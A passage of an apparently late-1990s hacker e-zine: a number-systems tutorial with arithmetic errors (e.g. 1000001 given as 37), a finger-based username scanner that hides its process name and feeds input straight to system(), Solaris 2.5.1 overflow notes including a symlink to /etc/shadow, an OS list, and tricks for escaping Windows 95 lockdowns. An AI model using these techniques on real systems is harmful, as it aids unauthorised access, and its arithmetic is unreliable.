  3273. talking complex number systems using different bases of numbers 
  3274. and sometimes using letters instead of numbers. I'm talking about 
  3275. getting down to the computer level and why this is so important.
  3276.  
  3277. Computers talk with numbers. Zeros, 0, and Ones, 1. Over time we 
  3278. have figured out ways to get them to understand Base 8, or Octal 
  3279. numbers, and Base 16 numbers, Hexadecimal, or HEX as it's more 
  3280. well known as, but they are still based on the 0 and the 1. Well 
  3281. let's start with the basics and move on from there. How do we 
  3282. count in Binary, with 0 and 1? Heck with only 2 numbers how are 
  3283. you going to make a number like 27? In Assembly classes they 
  3284. teach a column method to learn how to count and I like it, so 
  3285. I'll use it to.
  3286.  
  3287. So here we go, I'll briefly go over the 3 different number systems,
  3288.  show you how to read them with a chart and what their bases are 
  3289. along with the number and symbols they use to function. Then I'll 
  3290. show you how they sign numbers to show positive and negative numbers, 
  3291. along with basic adding and subtracting. Then to wrap it up I'll tell 
  3292. you why it's very important for anyone in the hacking scene to 
  3293. understand these very basic operations and what usage it has 
  3294. (can you say Buffer Overflow?).
  3295.  
  3296. Counting Binary
  3297. ------------------
  3298.  
  3299. Binary is the basic low level 0 and 1, the only two things a computer 
  3300. can really understand. It's like and on and off switch, that's all it 
  3301. can do. So they came up with patterns of 0 and 1 that stood for other 
  3302. numbers so we could count and perform other operations all based on 
  3303. the power system for the number 2. Read 2^3 is 2 raised to the 3rd 
  3304. power, or 8, the top row of numbers.
  3305.             
  3306.   16       8       4        2       1 
  3307.  
  3308.  2^4  |  2^3  |  2^2  |  2^1  |  2^0                               
  3309. ----------------------------------------     binary  = base 10 
  3310.                          0     =  0        0   =  0
  3311.                          1     =  1        1   =  1
  3312.                     1     0     =  2       10   =  2
  3313.                     1     1     =  3      1 1   =  3
  3314.                1      0     0     =  4     1 0 0  =  4
  3315.                1      0     1     =  5     1 0 1  =  5
  3316.                1      1     0     =  6     1 1 0  =  6
  3317.                1      1     1     =  7     1 1 1  =  7
  3318.         1       0      0     0     =  8   1 0 0 0  =  8
  3319.         1       0      0     1     =  9   1 0 0 1  =  9
  3320.         1       0      1     0     =  10  1 0 1 0  =  10
  3321.  
  3322.  
  3323. As you see, it's simple enough after you get the patterns down, 
  3324. and if you notice, it's repeating. After going through the cycle, 
  3325. you add another 1 to the end and repeat the cycle for the new ending 
  3326. 1. It may take some time getting used to reading it, but after a few 
  3327. minutes you can pick it up pretty easily. Well this is all fine and
  3328.  dandy, now you can read binary, so lets move on to base 8, or octal.
  3329.  
  3330. Counting Octal
  3331. ------------------
  3332.  
  3333. Well since binary is base 2, and octal is base 8 we need a new set of 
  3334. numbers. Remember binary has 2 numbers, 0 and 1, octal therefore must 
  3335. have 8; 0,1,2,3,4,5,6,7. Much like binary we can make a column chart 
  3336. to read these numbers.
  3337.  
  3338.  4096  512      64      8        1
  3339.  
  3340.  8^4  |  8^3  |  8^2  |  8^1  |  8^0                               
  3341. -------------------------------------------                      
  3342.                             0     =  0                   
  3343.                             1     =  1
  3344.                             2     =  2                 
  3345.                             3     =  3                
  3346.                             4     =  4               
  3347.                             5     =  5              
  3348.                             6     =  6               
  3349.                             7     =  7               
  3350.                     1        0     =  8            
  3351.                     1        1     =  9            
  3352.                     1        2     =  10          
  3353.               1       1        6     =  78
  3354.  
  3355. Notice that the octal number are cubes of the binary numbers, sense 
  3356. 2^3 is 8. i.e. 64 = 8^2 or (2^3)^2. This come in handy when you can't 
  3357. remember a conversion or the number is really weird. As you may of 
  3358. guessed, or may not have, octal numbers use up 8 bits per number, because 
  3359. they are ultimately stored as zeros and ones. The number 7 in octal is 
  3360. just 7, but to store it it takes 8 bits, or 00000111.
  3361.  
  3362. Counting Hexadecimal
  3363. -----------------------
  3364.  
  3365. Hexadecimal, or HEX as it's better known, is base 16. Now as you gather 
  3366. from octal numbers, when you change bases you need a new set of numbers 
  3367. to count with. Base 16 has 16 numbers, like octal has 8 and binary has 
  3368. 2. They are:0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Why A-F instead of maybe 
  3369. something else? Well the letters A-F are well known and are in order, 
  3370. so for simplicity the makers of HEX used them. Like octal and binary we 
  3371. can use a column chart to count in HEX.
  3372.  
  3373.  
  3374. 4096     256       16         1
  3375.  
  3376. 16^3  |  16^2  |  16^1  |  16^0                               
  3377. -------------------------------------------                      
  3378.                         0     =  0                   
  3379.                         1     =  1
  3380.                         2     =  2                 
  3381.                         3     =  3                
  3382.                         4     =  4               
  3383.                         5     =  5              
  3384.                         6     =  6               
  3385.                         7     =  7               
  3386.                         8     =  8            
  3387.                         9     =  9            
  3388.                         A    =  10          
  3389.                         B    =  11
  3390.                         C    =  12
  3391.                         D    =  13
  3392.                         E    =  14
  3393.                         F    =  15
  3394.                 1        0    =  16
  3395.                 1        1    =  17
  3396.                 1        E    =  30
  3397.                 8        5    =   133
  3398.  
  3399. As you can see, HEX is a little more complicated and takes practice to 
  3400. get used to. Even when you can effectively understand the numbers, 
  3401. sometimes you still need a calculator or a program, like a HEX editor 
  3402. to read them because of their sizes and complexities.
  3403.  
  3404. Quick Lesson on Conversions
  3405. ------------------------------
  3406.  
  3407. I know that a natural question has to be if there is an easier way
  3408.  to convert between the bases, and luckily there is. I'll give a quick 
  3409. lesson, as it's pretty simple. binary numbers can be 1 bit, and octal 
  3410. numbers can be made up from 3 bits on binary. HEX, likewise, can be made 
  3411. from 4 bits of binary. It's easier to show:
  3412.  
  3413. Lets say we have a number, 62, In binary it's: 0 1 1 1 1 1 0, and 
  3414. to convert to octal, we group it into 3 bit segments, from the right, 
  3415. and read it: 0   (1 1 1)    (1 1 0). We can ignore the leading 0. So 
  3416. in octal we read it in binary, 1 1 1 = 7, and 1 1 0 = 6, so in octal 
  3417. it's 76.
  3418.  
  3419. Let's use 62 again and find HEX. This time we group in 4s, from the 
  3420. right, like so: (0 1 1)  (1 1 1 0), since the first term has only 3 
  3421. terms we can add a leading 0, but it will not make any difference to 
  3422. the outcome. Read the groups, 0 1 1 = 3, and 1 1 1 0 = E, so in HEX 
  3423. it's 3E.
  3424.  
  3425. 0 1 1 1 1 1 0 - Binary
  3426. 0    ( 1 1 1 )   ( 1 1 0 ) - Octal
  3427. ( 0 1 1 )  ( 1 1 1 0 ) - Hex
  3428.  
  3429. If you're clever you can figure out how to convert from any of the 3 
  3430. to any of the others with minimal effort.
  3431.  
  3432.  
  3433. Signed Numbers
  3434. ------------------
  3435.  
  3436. How do computers know if a number is positive or negative if all it 
  3437. sees is zeros and ones? Well for the purpose of this article I'll keep 
  3438. it simple and use binary, as octal and HEX can get very complex. Before 
  3439. we go any further I have to explain what complementary systems are as 
  3440. we are going to be using base complements to determine signs.
  3441.  
  3442. A base complement is when you take the largest number in a numbering 
  3443. system and subtract from it. For example, say we are in normal everyday 
  3444. base 10, and we have the number 1267. If we want to find it's complement 
  3445. we would take the largest number in base 10s number system, a 9, and 
  3446. subtract each number from it.
  3447.  
  3448.   9999
  3449. - 1267
  3450. ----------
  3451.   8732
  3452.  
  3453. So 8732 is the complement to 1267. Lets try binary. Since binary is 
  3454. base 2, then the largest number is 1. Say we have the number, 62 again, 
  3455. in binary, 0 1 1 1 1 1 0, let find it's compliment.
  3456.  
  3457.   1111111
  3458. - 0111110
  3459. ---------------
  3460.   1000001  =  37
  3461.  
  3462. So we see that 37, or 1 0 0 0 0 0 1, is the complement to 62, 
  3463. or 0 1 1 1 1 1 0. Using complements we can sign a number as negative 
  3464. or positive. 
  3465.  
  3466. How? Well all positive numbers will be in true form, like 62 will 
  3467. be 0 1 1 1 1 1 0, but if we had a negative 62, we would use it's 
  3468. complement, or 1 0 0 0 0 0 1. "Hold on" you say, "1 0 0 0 0 1 is 37!". 
  3469. Not anymore, as binary numbers use a signed bit, or the first bit to 
  3470. determine if a number is positive or negative. The first bit is used 
  3471. to tell this, if it's a 1 it's signed negative, if it's a 0 it's signed 
  3472. positive. So how do we get 37? Add a leading 0, 0 1 0 0 0 0 0 1; now 
  3473. that's 37 and 1 0 0 0 0 0 1 is a negative 62. Once the computer sees 
  3474. the leading bit is a 1, it knows it's dealing with a negative number. 
  3475. An easy way to remember how it works, if the first bit is a 1, that 
  3476. find out what is the column value for that bit, so in 62 the first bit 
  3477. would be a 64, or 2^6. Since the binary number 0 1 0 0 0 0 0 0 is 64, 
  3478. and 0 1 1 1 1 1 1 1 is 63, then if we us 1 0 0 0 0 0 1 as negative 62 
  3479. we can think of the first slot as a negative number, or the first bit 
  3480. as the negative and everything else positive. Say the first bit is 
  3481. a negative 64 instead of a positive 64, then subtract 1 because we 
  3482. are in reverse, then subtract for each other 1, the number of that 
  3483. column, so in this example, we would subtract 1 more for the 1 in 
  3484. the first column giving us negative 62. 
  3485.  
  3486. It can get complicated, but it just takes a little practice. Why practice? 
  3487. Why care about all this crap? Beside the fact it will help you later on 
  3488. down the road for those of you planning on going to college to continue 
  3489. your schooling in computers, it's very helpful in hacking to know this to.
  3490.  
  3491. The Buffer Overflow
  3492. ------------------------
  3493.  
  3494. I'm going to make a very simple example of what a buffer overflow is 
  3495. and how it happens and what it has to do with all these numbers and 
  3496. number systems. Well for this articles purpose let use a very 
  3497. simplistic 4 bit number in binary. As some of you know modern buffer 
  3498. overflow attacks are in HEX, or as the exploit code calls it, Assembly, 
  3499. which is actually wrong. Ok, say we have a number, and we want to do 
  3500. some addition, the numbers 3 and 6 using 4 bits.
  3501.  
  3502.    0 1 1 0  =  6
  3503.  + 0 0 1 1  =  3
  3504.  ------------
  3505.    1 0 0 1 = - 7
  3506.  
  3507. Hold on, 3 +  6 = -7? In 4 bits the computer thinks that this number 
  3508. is 9, but 4 bits can't hold the number 9, and it comes up with negative 
  3509. 7. Whammo! Buffer Overflow. 
  3510.  
  3511. Most computers from the 8086 and up have a flag that indicates if a 
  3512. buffer overflow has occured or not, but if the code has not been 
  3513. carefully designed, skillful coders can find and exploit codes that 
  3514. are vurnerable, and they do every day. Filling up buffers with numbers 
  3515. in HEX that a larger then a buffer was designed to handle, crashing 
  3516. programs, racing for root. 
  3517.  
  3518. Conclusions
  3519. ----------------
  3520.  
  3521. I hope I've made clear how to understand binary, octal and HEX number 
  3522. systems; how to read them, how to manipulate them back and forth, and 
  3523. how they sign numbers so one may perform basic mathematical operations. 
  3524. I also hope, if you learned anything, is how important it is to 
  3525. understand these number systems and how they tie into hacking and 
  3526. your future down the road.
  3527.  
  3528. I am a firm believer that if you learn the basics then the hard stuff 
  3529. will be easy....
  3530.  
  3531. Bronc Buster!!!
  3532.  
  3533. Thanks to RLoxley, NeTJaMMr and Perhillion for helping proof this.
  3534.  
  3535. [EOF]
  3536.  
  3537. ═────────────────────────────────────────────────────────────────────────────═
  3538. Mail server username scanner - scan.c
  3539. by memor
  3540.  
  3541. /* Make a usernames lists from a file, to an host, via Fingers..
  3542.    for any use..
  3543.    example:
  3544.    scan userfile mail.server.to.scan.net
  3545.  
  3546.    or to save it in an outpout file :
  3547.    scan userfile mail.server.to.scan.net > result
  3548.  
  3549.    have fun with that little thing...
  3550.  
  3551.    memor/hbs - sjta
  3552. */
  3553.  
  3554. #include <stdio.h>
  3555. #include <stdlib.h>
  3556. #include <unistd.h>
  3557.  
  3558. void main(int argc,char *argv[])
  3559. {
  3560.  
  3561. /* define file handle , strings */
  3562.  
  3563. FILE *nombre1;
  3564.  
  3565. char *nom;
  3566. char *commande;
  3567. char *dnsip;
  3568.  
  3569. int fin;
  3570. int test;
  3571.  
  3572. /* create stacks */
  3573.  
  3574. nom = (char *)malloc(30);
  3575. commande = (char *)malloc(30);
  3576. dnsip = (char *)malloc(50);
  3577.  
  3578. fin=0;
  3579.  
  3580. /* do we have enough arguments ? no ?  */
  3581.  
  3582. if (argc<3)
  3583.     {
  3584.     printf("Scans for usernames with finger.. memor(hbs/sjta) \nusage : %s userfile host\n",argv[0]);
  3585.  
  3586.     /* ok bye.. not enough arguments */     
  3587.  
  3588.     exit(1);
  3589.     }
  3590.  
  3591. /* we have enough.. we can now work :) */
  3592.  
  3593. if (argc>2)
  3594.        {
  3595.        nombre1=fopen(argv[1],"r");
  3596.  
  3597.         /* can we open that file ? /*
  3598.  
  3599.         if(nombre1==NULL) 
  3600.         {
  3601.         printf("Can't open the file!!\n");
  3602.  
  3603.         /* no? ok bye.. :) */
  3604.  
  3605.         exit(1);
  3606.         }
  3607.  
  3608.  
  3609.     /* saving some arguments and hiding the programm */
  3610.  
  3611.     sprintf(dnsip,"%s",argv[2]);
  3612.        sprintf(argv[0],"joe           ");
  3613.        sprintf(argv[1],"              ");
  3614.        sprintf(argv[2],"              ");
  3615.  
  3616.         /* while we reach the end of file :) */
  3617.  
  3618.              while(fin!=1)
  3619.              {
  3620.  
  3621.         /* i catch the username and wait test for the end of file */
  3622.  
  3623.              test=fscanf(nombre1,"%s",&nom[0]);
  3624.  
  3625.              if(test==EOF) fin=1;
  3626.         else {         
  3627.  
  3628.         /* i attempt a finger to see if we got an existant username */
  3629.  
  3630.         sprintf(commande,"finger %s@%s",nom,dnsip);
  3631.         printf("Scanning for [%s] ..\n%s\n",nom,commande);
  3632.         system(commande);
  3633.         }              
  3634.         }
  3635.  
  3636.     /* closing input file of usernames */
  3637.  
  3638.     fclose(nombre1);
  3639.     }
  3640. }
  3641.  
  3642. ═────────────────────────────────────────────────────────────────────────────═
  3643. Vuls in Solaris 2.5.1
  3644. by Shok
  3645.  
  3646. Although there are vulnerabilities known in rlogin and chkey, these are
  3647. unrelated to them.
  3648.  
  3649. rlogin:
  3650. They have the following code (which is pathetic might I add):
  3651.  
  3652. char *p;
  3653. char term[256];
  3654. [...]
  3655. p=getenv("TERM");
  3656. [...]
  3657. strcpy(term, p);
  3658.  
  3659. Yah there is Sun's super security.......... sheesh the obvious fix would
  3660. be a simple strncpy but NO they had to do it the secureless way ;)
  3661.  
  3662. arp:
  3663. Well this is the gethostbyname() vulnerability in solaris 2.5.0 and 2.5.1
  3664. Now as most people know, there was a vulnerability in gethostbyname, and
  3665. it's sploit used rlogin. Well.....if they chmod -s'd rlogin (which would
  3666. break it anyway), you could still use arp, as it is suid (although
  3667. occasionally I set it sgid instead). This is a shortened version of the
  3668. code: 
  3669.  
  3670. if (argc == 2) {
  3671. get(argv[1]);
  3672. exit(0);
  3673. }
  3674.  
  3675. get(host) 
  3676. char *host
  3677. {
  3678. [...]
  3679. hp = gethostbyname(host);
  3680.  
  3681. More great ol' Sun security eh? The sploit code for this is just a
  3682. modified gethostbyname sploit.
  3683.  
  3684. chkey:
  3685. gee let's look at this one.......
  3686. char program_name[256];
  3687. strcpy(program_name, argv[0]); 
  3688.  
  3689. WAHOO!!! THE BEST ONE YET!
  3690. Once again great job sun......
  3691.  
  3692. Although I should make it clear I do like Sun.....but they are really
  3693. ignorant assuming people won't get ahold of the source so they don't have
  3694. to use proper bounds checking....I mean that should be like common sense.
  3695.  
  3696. That's all I am going to mention.....although I will give a few....
  3697. I'm looking at cu and uucp which appear to have an overflow in there
  3698. remote host and commands.......to test this you ought to just make a
  3699. generic program:
  3700.  
  3701. #include <stdio.h>
  3702.  
  3703. void main(int argc, char **arg)
  3704. {
  3705.   unsigned long int i;
  3706.   unsigned long int num;
  3707.   num=atoi(argv[1]);
  3708.   for (;i<num;i++)
  3709.   {
  3710.     putchar('X');
  3711.   }
  3712. }
  3713.  
  3714. Compile that as we'll say testit then do on solaris 2.5.1....
  3715. uucp `./testit 9999`!`./testit 9999` `./testit 9999`!`./testit 9999` or
  3716. whatever the format is......and do the same thing to cu.....I haven't
  3717. tried this yet...this is just based on the source.......and like I said
  3718. it's possible..the code jumps across many functions and I don't have time
  3719. to follow it.......so lemme know the results (shok@sekurity.org, I'm not
  3720. going to give my domain at this time... ;))
  3721.  
  3722. There was a CERT advisory on rdist vulnerability for Sun, however they
  3723. gave enough information to easily find out what the vul was. 
  3724. Here is the vul: 
  3725. I'm not going to put all the code for this because it crosses several
  3726. functions.....but you pass a macro to argv[1] and it first calls a
  3727. makenl() which I guess has something to do with checking if it's a macro
  3728. or something but there is no man page for it and it's not in the source so
  3729. I don't know what it is.....but then argv[1] is passed on to expand with
  3730. this: 
  3731. in expand expstr(which is the vul function) is called as
  3732. expstr(nl->nl_name); and nl->nl_name is argv[1] if it is a macro I'm
  3733. assuming. But this is expstr():
  3734. expstr(s)
  3735. char *s;
  3736. char buf[BUFSIZ];
  3737. [...]
  3738. sprintf(buf, "%s%s%s", s, tp->n_name, tail);
  3739.  
  3740. As described in expand.c.......it appears that you can manipulate
  3741. enviromental variables like SHELL, TERM, etc.....and ~user is also a
  3742. macro..you get the idea
  3743. shchars = "${[*?".....
  3744. E_VARS for expanding variables.......
  3745. E_SHELL...
  3746. E_TILDE......so if you did rdist $SOMEVAR it will recognize the '$' and
  3747. expand that variable.......I haven't been able to test this as the BUFSIZ
  3748. is too big and I get disconnected if I export a variable greater than 1000
  3749. or so (weird heh...)
  3750.  
  3751.  
  3752. This is also related to the message I posted to bugtraq on multiple
  3753. overflows in MH-6.8.3.
  3754.  
  3755. In ruserpass.c, in the function rnetrc().....they have the following
  3756. (which has two vuls):
  3757. char *hdir, buf[BUFSIZ];
  3758. hdir=getenv("HOME");
  3759. [...]
  3760. sprintf(buf, "%s/.netrc", hdir);
  3761.  
  3762. Now there are two problems with this.....
  3763. First of all the obvious....is there is an overflow. Secondly, all one
  3764. would have to do is for example ln -s /etc/shadow $HOME/.netrc and you
  3765. could abuse that. Libc specifically says you shouldn't do this.
  3766.  
  3767. In libcurses, in pr_headers, in print.c there is an overflow in the
  3768. char *terminfo;
  3769. char buf[512];
  3770.  
  3771. terminfo=getenv("TERMINFO")
  3772. [...]
  3773. sprintf(buf, "%s%s%s", terminfo.....    
  3774.  
  3775. So anything that uses libcurses (such as screen), is vulnerable. Anyway
  3776. it's late, I'm tired.
  3777.  
  3778. So that's about all for now.
  3779.             
  3780.                     Enjoy,
  3781.               --==+*~(Shok)~*+==--
  3782.         
  3783. shok@sekurity.org
  3784. HOME PAGE: http://www.janova.org FTP SITE: ftp://ftp.janova.org
  3785.  
  3786.  
  3787. ═────────────────────────────────────────────────────────────────────────────═
  3788. Operating Systems
  3789. by Fucking Hostile
  3790.  
  3791.     There are a lot of Operating Systems out there. It seems that the two 
  3792. major ones are Windows and Linux. Among the average computer user you will 
  3793. find that most of them use Windows 95 or NT. In the computer underground now
  3794. it seems the trend is Linux and its varients. Anyways this article will not
  3795. be about either of those, actually it will have some info on them but that's
  3796. not all. I am writing this with intention to give readers the knowledge of
  3797. all available OS's there are out there. Information on the OS, where to find
  3798. out more about it, and where to get it. Hopefully people will learn about all
  3799. the options they have beyond the trend that is going on out there. This gives
  3800. only a little detail on the OS but at least gives you some ideas to look at.
  3801.  
  3802.  
  3803. - AROS -
  3804.  
  3805. About: The Amiga Replacement OS. Idea started around 1993 when Amiga was at 
  3806. a low point. AROS fully started in the winter of 1995. The goal of AROS is
  3807. to be as compatible as possible to AmigaOS 3.1, ported to different types of
  3808. CPU's,  Binary compatible on Amiga and source compatible on other hardware, 
  3809. and can run as a standalone version which boots directly from harddisk, as 
  3810. an emulation which opens a window on an existing OS to develop software and 
  3811. run Amiga and native applications at the same time and as a link library 
  3812. which allows to create native applications with the comfort of the AmigaOS.
  3813.  
  3814. Current Version: Unknown
  3815.  
  3816. Homepage: http://aros.fh-konstanz.de/aros/
  3817.  
  3818. - BeOS -
  3819.  
  3820. About: In 1990 former former president of Apple's product division, 
  3821. Jean-Louis GassΘe, formed Be. INC. The Be Operating System is a new software 
  3822. system designed for the media and communications-based applications of the 
  3823. next decade. While retaining compatibility with data and network standards in 
  3824. use today, the BeOS jettisons many of the assumptions inherent in older OS 
  3825. architectures to achieve a new level of performance and a significantly 
  3826. simplified programming model. The BeOS features: A True Multitasking, Heavily 
  3827. Multi-threaded System, Symmetric Multiprocessing, An Object-Oriented Design, 
  3828. A Design for Real-Time Media and Communications, and Simplicity.
  3829.  
  3830. Current Version: Unknown
  3831.  
  3832. Homepage: http://www.be.com
  3833.  
  3834. - CHORUS/OS -
  3835.  
  3836. About: The CHORUS/OS family of operating system products has been designed 
  3837. for telecommunications and other real-time embedded systems manufacturers. 
  3838. CHORUS/OS offers a binary family of highly configurable, richly featured, 
  3839. componentized operating system products. When CHORUS operating systems are 
  3840. integrated with CHORUS/COOL ORB, Chorus' distributed real-time embedded 
  3841. object request broker, real-time systems and devices have access and are 
  3842. accessible to any computer, or server in the enterprise, providing management 
  3843. systems in the enterprise with access to data from the embedded world, and 
  3844. giving the embedded world access to application software available from 
  3845. management systems. 
  3846.  
  3847. Current Version: Unknown
  3848.  
  3849. Homepage: http://www.chorus.com
  3850.  
  3851. - FreeBSD -
  3852.  
  3853. About: FreeBSD is an advanced BSD UNIX operating system for "PC-compatible" 
  3854. computers, developed and maintained by a large team of individuals. FreeBSD 
  3855. offers many features today which are still missing in other operating 
  3856. systems, even some of the best commercial ones. Advanced features for 
  3857. performance, security, and even binary compatibility with other popular 
  3858. operating systems. And it's free.
  3859.  
  3860. Current Version: 2.2.2
  3861.  
  3862. Homepage: http://www.freebsd.org
  3863.  
  3864. - NetBSD -
  3865.  
  3866. About: The NetBSD Project is the collective volunteer effort of a large group 
  3867. of people, to produce a freely available and redistributable UNIX-like 
  3868. operating system, NetBSD. NetBSD is based on a variety of free software, 
  3869. including 4.4BSD Lite from the University of California, Berkeley. It runs on 
  3870. a large number of hardware platforms and is highly portable. It comes with 
  3871. complete source code, and is user-supported. 
  3872.  
  3873. Current Version: 1.2
  3874.  
  3875. Homepage: http://www.netbsd.org
  3876.  
  3877. - OpenBSD -
  3878.  
  3879. About: The OpenBSD project was spawned from NetBSD (ie. a member of the 
  3880. 4.4BSD family) and is developed separately. OpenBSD tracks bug reports and 
  3881. source tree changes from the NetBSD and FreeBSD projects fairly closely. Even 
  3882. pieces of code from the Linux projects have been used. OpenBSD has too much
  3883. shit about it to even list so just check out the homepage.
  3884.  
  3885. Current Version: 2.1
  3886.  
  3887. Homepage: http://www.openbsd.org
  3888.  
  3889. - GEOS -
  3890.  
  3891. About: Geoworks designed the GEOS« operating system to enable devices that 
  3892. are graphical, easy-to-use, affordable, feature-rich, and able to support 
  3893. advanced communications. Geoworks believes there are several primary 
  3894. characteristics necessary for system software in these new devices. The 
  3895. operating system must be flexible so that device manufacturers can customize 
  3896. their products for specific markets. The software must deliver high 
  3897. performance without sacrificing efficiency. And users of these devices must 
  3898. be able to connect to standard data sources, including the desktop, corporate 
  3899. network, and Internet services.
  3900.  
  3901. Current Version: Uknown
  3902.  
  3903. Homepage: http://www.geoworks.com/htmpages/sso.htm
  3904.  
  3905. - Inferno -
  3906.  
  3907. About: Inferno was developed by the scientists at Bell Labs, Lucent 
  3908. Technologies' research and development arm. The Computer Science Research 
  3909. Center of Bell Labs created Inferno - this same Center developed UNIX, C and 
  3910. C++ programming languages and workstation technologies. Inferno is a Network 
  3911. Operating System that delivers interactive services through a variety of 
  3912. networks, providing ubiquitous access to resources and information. 
  3913.  
  3914. Current Version: 1.1
  3915.  
  3916. Homepage: http://207.121.184.224/info.html
  3917.  
  3918. - TurboLinux -
  3919.  
  3920. About: TurboLinux 1.0, a new Linux distribution fully compatible with RedHat 
  3921. Linux, some features include Easy Installation and Setup - Hardware 
  3922. components (SCSI, Ethernet, and Video adapters) are automatically detected at 
  3923. installation. TurboDesk - This configurable desktop environment allows 
  3924. customization without editing text files. AutoUpdate - Packages are 
  3925. seamlessly installed onto your system using either the interactive mode or 
  3926. the fully automatic mode.
  3927.  
  3928. Current Version: 1.0
  3929.  
  3930. Homepage: http://www.turbolinux.com
  3931.  
  3932. - Other Linux OS's -
  3933.  
  3934. TurboLinux is one of the newer ones so that is why I mentioned it.. there are
  3935. a lot more tho that can be found at: http://www.linux.org/dist/index.html
  3936.  
  3937. - Microsoft Windows -
  3938.  
  3939. Windows 3.1 - Windows 95, Windows 97, Windows CE, and Windows NT
  3940.  
  3941. You all know about Windows. If not go to: http://www.microsoft.com
  3942.  
  3943. - MINIX -
  3944.  
  3945. About: MINIX is a free UNIX clone that is available with all the source code. 
  3946. Due to its small size, microkernel-based design, and ample documentation, it 
  3947. is well suited to people who want to run a UNIX-like system on their personal 
  3948. computer and learn about how such systems work inside. It is quite feasible 
  3949. for a person unfamiliar with operating system internals to understand nearly 
  3950. the entire system with a few months of use and study. 
  3951.  
  3952. Current Version: 2.0
  3953.  
  3954. Homepage: http://www.cs.vu.nl/~ast/minix.html
  3955.  
  3956. - OS/2 -
  3957.  
  3958. About: IBM's OS. Kind of like Windows except they have less software made for
  3959. them. If it wasn't for that it might not be too bad.
  3960.  
  3961. Current Version: Unknown
  3962.  
  3963. Homepage: http://www.software.ibm.com/os/warp/
  3964.  
  3965. - Plan9 -
  3966.  
  3967. About: Plan 9 is a distributed computing environment assembled from separate
  3968. machines acting as terminals, CPU servers, and file servers. A user works at 
  3969. a terminal, running a window system on a bitmapped display. Some windows are 
  3970. connected to CPU servers; the intent is that heavy computing should be done 
  3971. in those windows but it is also possible to compute on the terminal. A 
  3972. separate file server provides file storage for terminals and CPU servers 
  3973. alike.
  3974.  
  3975. Current Version: Unknown
  3976.  
  3977. Homepage: http://www.ecf.toronto.edu/plan9/
  3978.  
  3979. - Xinu -
  3980.  
  3981. About: Xinu is a small, elegant, multitasking Operating System supporting the 
  3982. following features: Concurrent Processing, Message Passing, Ports, 
  3983. Semaphores, Memory Management, Buffer Pools, Uniform Device I/O, Shell, Tcl, 
  3984. and TCP/IP.
  3985.  
  3986. Current Version: Xinu 7.9
  3987.  
  3988. Homepage: http://willow.canberra.edu.au/~chrisc/xinu.html
  3989.  
  3990. - QNX -
  3991.  
  3992. About: Started off being called 'Quick Unix', the QNX realtime OS offers you 
  3993. all the advantages of a true microkernel. It's small, scalable, extensible, 
  3994. and fast. As a true microkernel OS, QNX starts with a lean core of highly 
  3995. reliable code. It's small enough for ROMable embedded applications, yet 
  3996. powerful enough to run a distributed network of several hundreds of 
  3997. processors.
  3998.  
  3999. Current Version: Unknown
  4000.  
  4001. Homepage: http//www.qnx.com
  4002.  
  4003. - Solaris -
  4004.  
  4005. About: Sun Unix-based user environment, including the Unix operating system 
  4006. and an X11-based window system. Solaris 1.x is a retroactive (marketing?) 
  4007. name for SunOS4.1.x, a BSD-like version of Unix with some SVR4 features. 
  4008. Solaris 2.x (which is what most people mean by "Solaris") includes SunOS5.x, 
  4009. which is an SVR4-derived Unix.
  4010.  
  4011. Current Version: 2.6
  4012.  
  4013. Homepage: http://www.sun.com/solaris/index.html
  4014.  
  4015. ------
  4016.  
  4017. Well that is all I have. There are a lot of others out there and a lot more
  4018. information on them then I have supplied but hopefully this will give some 
  4019. people stuff to check out. Also check out http://www.myos.com and 
  4020. http://www.ugu.com for more info on different OS's. 
  4021.  
  4022. ═────────────────────────────────────────────────────────────────────────────═
  4023. Hacking your way to DOS
  4024. by Devix
  4025.  
  4026. Well, I thought I should write an article for thtj this month so here
  4027. it is... Newbies Guide: Hacking your way to DOS. Unfortunatly your
  4028. access to DOS may be restricted so you can't play your games or hack
  4029. the LAN. This article will attempt to describe many various ways to
  4030. break out of that annoying GUI called windows95 and bring you back to
  4031. DOS.
  4032.  
  4033. There are many ways to protect you from getting to DOS such as using
  4034. policy editor (most common. this can be found on your windows95 cd) or
  4035. some other 3rd party software package. Some of these ways may not work
  4036. so if one doesn't, just try the next.
  4037.  
  4038. 1. The old F8 on boot-up. This one is self explanatory. When you see
  4039. the "Starting Windows 95..." quickly press the F8 button and it may
  4040. bring up a menu that looks like this:
  4041.  
  4042. Microsoft Windows 95 Startup Menu
  4043. ==================================
  4044.  
  4045.    1. Normal
  4046.    2. Logged (\BOOTLOG.TXT)
  4047.    3. Safe mode
  4048.    4. Safe mode with network support
  4049.    5. Step-by-step confirmation
  4050.    6. Command prompt only
  4051.    7. Safe mode command prompt only
  4052.    8. Previous version of MS-DOS
  4053.  
  4054. Enter a choice: 1
  4055.  
  4056. You should choose #6. If everything goes right, you will soon see a
  4057. "C:\". If the menu doesn't show up when you press F8, the
  4058. administrator (or computer teacher) may have disabled this. To re-
  4059. enable it, just fire up notepad and edit "c:\msdos.sys". This file is
  4060. normally a system/hidden/readonly file. The part you want to edit is
  4061. the line that says "BootMulti=0". Change it to "BootMulti=1".
  4062.  
  4063. 2. Using OLE. Just start up any program thats supports object
  4064. embedding such as wordpad and choose "Object..." from the "Insert"
  4065. menu. A fancy little box should pop up. Click on "Create from File"
  4066. and put this as the file name: "c:\command.com". Click OK and you
  4067. should now see an icon stuck in your wordpad document. Double-Click
  4068. the icon and a dos prompt should appear.
  4069.  
  4070. 3. Creating a shortcut in the desktop/start menu. Start any 32-bit
  4071. program that lets you open/save files. Click on "Open..." (or "Save
  4072. As...") from the "File" menu and change to the directory
  4073. "c:\windows\desktop" or "c:\windows\start menu". Right-click in the
  4074. main box and choose "New -> Shortcut" from the menu that pops up.
  4075. Create a shortcut to "c:\command.com" and then look on the
  4076. desktop/start menu for the icon. Use it.
  4077.  
  4078. 4. Command.com from "File Find". Click once on a blank part of the
  4079. taskbar. Press F3. Search for "command.com" from drive "c:". To speed
  4080. this up, unselect "Include subfolders". Click "Find" and when
  4081. command.com shows up in the results area, double-click it.
  4082.  
  4083. 5. Editing ".lnk" files. Just edit one of the
  4084. "c:\windows\desktop\*.lnk" files with a program that will let you edit
  4085. the actual lnk file, not the file it links to. most 16-bit editors
  4086. should work. Just change it like you would with a hex-editor so that
  4087. it links to "c:\command.com" instead.
  4088.  
  4089. 6. Changing shells. Just edit "c:\windows\system.ini" so the line that
  4090. says "shell=Explorer.exe" will say "shell=c:\command.com". Restart the
  4091. computer and you will now have a dos prompt. From dos, type "explorer"
  4092. to get the rest of windows loaded. Change system.ini back when you
  4093. need everything to work how it was.
  4094.  
